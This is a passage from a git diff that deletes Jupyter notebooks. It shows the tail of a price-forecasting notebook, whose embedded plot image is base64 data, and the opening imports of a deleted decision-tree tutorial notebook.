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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "future_df['forecast'] = results.predict(start = 366, end = 420, dynamic=True) \n", - "future_df[['Price', 'forecast']].plot(figsize=(12, 8))" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "id": "408b012f", - "metadata": {}, - "outputs": [], - "source": [] - } - ], - "metadata": { - "kernelspec": { - "display_name": "Python 3", - "language": "python", - "name": "python3" - }, - "language_info": { - "codemirror_mode": { - "name": "ipython", - "version": 3 - }, - "file_extension": ".py", - "mimetype": "text/x-python", - "name": "python", - "nbconvert_exporter": "python", - "pygments_lexer": "ipython3", - "version": "3.8.8" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} diff --git a/Add Code Here/IPYNB/Machine Learning Tutorial/Decision Tree Algorithm.ipynb b/Add Code Here/IPYNB/Machine Learning Tutorial/Decision Tree Algorithm.ipynb deleted file mode 100644 index 98e6013e091..00000000000 --- a/Add Code Here/IPYNB/Machine Learning Tutorial/Decision Tree Algorithm.ipynb +++ /dev/null @@ -1,605 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "c019316c", - "metadata": {}, - "source": [ - "# Importing Libraries" - ] - }, - { - "cell_type": "code", - "execution_count": 17, - "id": "6a074302", - "metadata": {}, - "outputs": [], - "source": [ - "import pandas as pd\n", - "import numpy as np\n", - 